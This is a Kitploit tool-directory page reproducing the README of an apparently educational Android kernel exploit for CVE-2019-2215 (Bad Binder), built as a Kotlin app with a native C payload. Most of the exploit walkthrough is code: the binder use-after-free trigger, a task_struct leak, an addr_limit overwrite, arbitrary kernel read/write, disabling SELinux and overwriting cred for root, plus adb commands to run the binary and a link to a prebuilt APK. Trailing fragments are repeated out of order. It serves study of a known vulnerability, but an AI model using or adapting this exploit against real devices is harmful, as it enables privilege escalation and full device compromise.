Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
android-badbinder-demo — demo CVE-2019-2215 (Bad Binder) for Android Q | Kitploit
Tools/GitHubGitHub/i-redbyte/android-badbinder-demo
Android SecurityPrivilege EscalationExploitationLearning & EducationBinary Exploitation
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

demo CVE-2019-2215 (Bad Binder) for Android Q

View Repository
519 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-2215 (Bad Binder) — Exploit Analysis

This repository is a small test project for researching the vulnerability
CVE-2019-2215 (Bad Binder) and writing a working prototype of an exploit for Android with a simple graphical interface in Kotlin/Jetpack Compose.

In the README I:

  1. Describe the environment setup and running the exploit prototype.
  2. Analyze the main stages of exploiting CVE-2019-2215 and map them to specific functions in the C code.
  3. List separately the difficulties I encountered along the way and how I solved them.

Ready APK (GitHub Actions)

The repository has a GitHub Actions workflow configured that, on every push/PR, builds the project with the command ./gradlew assembleDebug and publishes the finished badbinder-debug.apk as an artifact.

You can download it like this:

  1. Open the Actions tab in the repository.
  2. Select the desired workflow run.
  3. At the bottom of the page, find the Artifacts section and take the archive badbinder-debug-apk with the built APK.

This is done for convenience, if you just want to test the application without setting up a local environment.


Briefly about the vulnerability

CVE-2019-2215 is a Use-After-Free (UAF) in the Binder IPC subsystem of the Android kernel.

Simplified:

  • in the kernel there is a structure struct binder_thread that describes a thread performing Binder calls;
  • this structure can be freed, but under a certain sequence of calls it still remains in the wait queues (waitqueue);
  • later the kernel tries to work with already freed memory in remove_wait_queue, which opens a classic UAF scenario;
  • if you carefully choose the environment and subsequent allocations, you can force the kernel to read/write to arbitrary addresses, and then obtain kernel privileges, and then root in userspace.

I made a more detailed theoretical breakdown based on the materials from:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Environment setup and running the exploit prototype

1.1. Selecting and preparing a virtual device

The assignment recommends using an AVD with Android 10.0 (Q) x86_64 image.
I did the following:

  1. Created an AVD in Android Studio (Pixel device, Android 10 (Q), x86_64).
  2. Made sure the image has Binder enabled and the /dev/binder device exists.
  3. Enabled USB/ADB debugging and verified access to the device:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

At this stage I ran into an unpleasant fact:
currently, the current AVD images already come with a patched kernel where CVE-2019-2215 is fixed. That is, you won't actually be able to get root on a modern official emulator — the exploit fails at later stages or simply doesn't give privilege escalation.

In the end, I use the AVD as a simulator to reproduce the exploit logic:

  • I get the same sequences of system calls,
  • observe UAF attempts, address leaks, and the attempt to overwrite addr_limit,
  • but the final "getting root" on the current patched kernel naturally does not work (and that is expected).

This is an important nuance: all code and report below are educational, not "combat".


1.2. Building an Android application with a native exploit

I made a small Android application:

  • UI on Kotlin + Jetpack Compose,
  • Native part in C via JNI — the exploit code itself,
  • communication between them — via a JNI callback, so that strings from the C code fly directly into the UI.

Main steps:

  1. Created a regular project in Android Studio (Kotlin, minimum API Android 10).

  2. Added NDK and CMake.

  3. Added a native file with the exploit (that same cve-2019-2215.c with functions leak_task_struct, overwrite_addr_limit, etc.).

  4. In CMakeLists.txt added the build of libcve-2019-2215.so.

  5. In MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. On the Kotlin side, I made an ExploitViewModel that implements the NativeLogger interface and puts all messages into a StateFlow<List<String>>. The UI subscribes to this flow and displays the log in a "terminal".

When the activity starts, I call setNativeLogger(viewModel), so that the native code gets an object to which it can send strings.


1.3. Launch and usage scenario

  1. Build and install the application:

    root@kitploit:~
    ./gradlew installDebug
    
  2. Start the AVD and the application itself.

  3. On the screen I see a "terminal" and a button RUN EXPLOIT.

  4. When pressed:

    • Kotlin calls runNativeExploit() in a background thread.
    • C code begins executing all stages of the exploit and logs the steps.
    • Via the JNI callback, the log reaches the ViewModel and is displayed in the Compose UI.

On a real vulnerable kernel, I would expect to see something like at the end:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

On the current Android 10 emulator this, of course, does not happen, but everything else — leak of task_struct, attempt to overwrite addr_limit, calculation of cred and kernel_base — works as a "scenario", which is what was required for the assignment.


2. Analysis of the main stages of the exploit and mapping to code

Below is the logical scheme of the exploit with reference to specific C functions.

2.1. General exploit scenario

The high-level plan is:

  1. Create a UAF on the struct binder_thread object and use it to leak the address of task_struct of my process (leak_task_struct).
  2. With a second UAF cycle and carefully selected structures overwrite the addr_limit field in task_struct (overwrite_addr_limit) — this removes the restriction between user-space and kernel-space addresses for subsequent copy_to_user / copy_from_user.
  3. Using pipes, implement arbitrary read/write of any kernel memory (arb_read / arb_write).
  4. Using this, find the cred of the current process and the kernel base (verifying), then:

In parallel, I integrated a JNI logger, so that all these stages are visible directly in the UI.


2.2. Stage 1 — leaking the address of task_struct (leak_task_struct)

Key function:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

What the function does:

  1. Pins the thread to CPU 0 (sched_setaffinity) to make kernel allocator behavior more predictable. This improves UAF exploit stability.

  2. Opens /dev/binder, creates an epoll descriptor:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    The binder descriptor is registered in epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Prepares an array struct iovec iov_buffers[IOVEC_N] and allocates memory:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    Here it is important that the lower 32 bits of the address are zero:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    This corresponds to the technique from exploit articles: further the kernel interprets part of our data as structures with pointers, and such "nicely aligned" addressing simplifies abuse.

    Then the fields iov_buffers[0xa] and are filled so that at the moment of UAF the kernel copies into the pipe a piece of memory where the pointer to lies.

Result: I have the address of task_struct in the kernel, which is critical for the subsequent steps.


2.3. Stage 2 — overwriting addr_limit (overwrite_addr_limit)

addr_limit in task_struct determines which addresses the process can pass to system calls as user-space pointers. If you overwrite it to a nearly maximum value, the kernel stops distinguishing user-space addresses from addresses in its own address space — and many apparently safe copy_(to|from)_user operations become arbitrary kernel reads/writes.

Function:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

Works on a very similar pattern:

  1. Again pin CPU affinity, open /dev/binder, create epoll.

  2. Prepare iov_buffers, but this time the scheme is different:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. Instead of a pipe, socketpair(AF_UNIX, SOCK_STREAM, ...) is used:

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Prepare a msghdr structure for recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. In the child process (after fork()), the UAF race is triggered again:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. Stage 3 — arbitrary read/write and verification (arb_read, arb_write, verifying)

After overwriting addr_limit, I use pipes to turn normal read/write operations into the ability to read and write to kernel addresses.

Primitives arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

Similarly, arb_write changes the direction of copying.

Verification and search for key structures

Function verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Here I:

  • read the contents of task_struct from the kernel;
  • check by PID_OFFSET that it is indeed my structure;
  • extract the pointer to cred and an address leak from the kernel (kernel_leak);
  • calculate kernel_base with an adjustment for a hardcoded offset.

2.5. Stage 4 — SELinux and escalation to root

The final part in runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • I compute the address of the global variable selinux_enforcing and set it to zero/ “permissive” state.

Then overwriting cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

I literally fill the capability fields and some other fields of cred with maximum values to give the process full rights.

Final check:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

On a real vulnerable kernel, I would expect uid=0 here; on the patched image, escalation is logically disabled.


2.6. JNI and logging to UI

To see everything in real time, I added a layer:

  • JNI_OnLoad saves JavaVM* and the PID of the main process;
  • setNativeLogger accepts a Kotlin object implementing the method onLog(String), and saves it as a GlobalRef;
  • android_log/android_log_hex write to logcat and call send_to_ui, which delivers the string to Kotlin, where it is picked up by ExploitViewModel and displayed in the Compose "terminal".

Importantly, send_to_ui filters child processes by PID — calling JNI from a process after fork() without exec() is unsafe.


3. Difficulties and their solutions

3.1. Patched AVD images

I encountered the fact that currently there are no official AVD Android 10 images with an unpatched kernel where CVE-2019-2215 is still present.

Instead of "combat" root acquisition, I focused on:

  • reproducing the exploit logic,
  • analyzing the UAF sequence,
  • visualizing all steps in an Android application.

If desired, this code can be ported to a real device with an old unpatched kernel, but that goes beyond the assignment.


3.2. Hardcoded offsets and kernel version dependency

I had to explicitly set:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • offsets for kernel_leak and selinux_enforcing;
  • a constant for calculating kernel_base.

I deliberately did not automate the search for these values to avoid bloating the project. In the report, I rely on the fact that this is a training example for a specific kernel version, not a universal exploit.


3.3. Race conditions and stability

Using fork(), epoll_ctl, BINDER_THREAD_EXIT, and various timings is a minefield. I encountered that without:

  • sched_setaffinity,
  • small sleeps,
  • and aggressive asserts along the way

the exploit becomes extremely unstable.
I gradually debugged the sequence so that on a vulnerable configuration it would be predictable, and on a patched one it would correctly "fail" at the last steps.


3.4. JNI and fork()

I also encountered that attempts to log from the child process directly to the JVM lead to strange behavior.
I had to recall JNI rules and add a PID check to communicate with the JVM only from the main process.

Compromise: part of the messages are visible only in logcat, and in the UI only what came from the parent is displayed. This was acceptable to me because within the assignment, the main checkpoints are important, not every debug print.


3.5. UI

As a bonus, for a more creative implementation of the assignment, I decided to make an interface convenient for analysis:

  • I implemented a screen with a "console" in the style of a dark terminal with green text;
  • the log is output line by line, with auto-scroll to the last entry;
  • different message types ([+], [*], [!], [C]) are highlighted in different colors for easy reading;
  • the execution result (Success / Failed) is displayed in a separate block.

This greatly simplifies the perception of the native code's work: instead of dry logcat I see everything in one place, directly in the application.


Result

As a result of working on the assignment, I:

  1. Prepared an AVD environment and an Android application with a native part that implements the CVE-2019-2215 exploit.
  2. Step-by-step analyzed the exploitation:
    • UAF in Binder and leak of task_struct,
    • overwriting addr_limit,
    • building arbitrary read/write primitives,
    • searching for cred, disabling SELinux, and attempting privilege escalation.
  3. Encountered a number of real engineering problems (kernel patches, version dependency, race conditions, JNI specifics) and consistently solved or bypassed them.

The project turned out to be compact, but essentially reflects the entire lifecycle of a real kernel vulnerability: from theoretical description and reading articles to practical implementation and integration into a live Android application.

P.S.

Alternative way to run the exploit

In the cve-2019-2215 directory there is a Makefile that allows you to build a native binary (x86_64) and run it directly in the AVD via ADB. If you need an aarch64 version, you can build it separately.

  1. Build the native binary:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Copy the binary to the AVD, for example to /sdcard/cve-2019-2215
  3. Launch ADB shell and execute the binary:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. After successful execution of the exploit, you can check root acquisition:
    root@kitploit:~
    id
    
    expected output:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Download Tool
  • disable SELinux (selinux_enforcing = 0),
  • overwrite the cred fields to become root and get the full set of capabilities (runNativeExploit).
  • iov_buffers[0xb]
    task_struct
  • Creates a pipe and sets its buffer size to 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • Next — a classic UAF race. I launch a child process:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • The parent continues executing the further code.
    • In the child process, epoll_ctl(..., EPOLL_CTL_DEL, ...) leads to freeing the associated binder_thread in the kernel, but it still appears in the wait accounting structure — this is the UAF point.
  • In the parent process I call:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // free binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    At this stage, thanks to UAF, writev uses already freed memory as iovec structures and essentially reinterprets the same memory area that previously held binder_thread, but now as a set of pointer/length pairs. As a side effect, a fragment of kernel memory is copied into our pipe.

  • Finally, I read from the pipe:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    The offset 0xe8 is chosen for the specific kernel version — it is the place within the leaked memory block where the pointer to my process's task_struct is located.

  • The parent, as before, frees binder_thread and calls recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    Due to UAF and clever structure substitution, the kernel eventually treats task_struct + ADDR_LIMIT_OFFSET as a user buffer address and copies the contents of the sent structure there (our value 0xfffffffffffffffe), thereby overwriting addr_limit in task_struct.

  • I write to the log:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");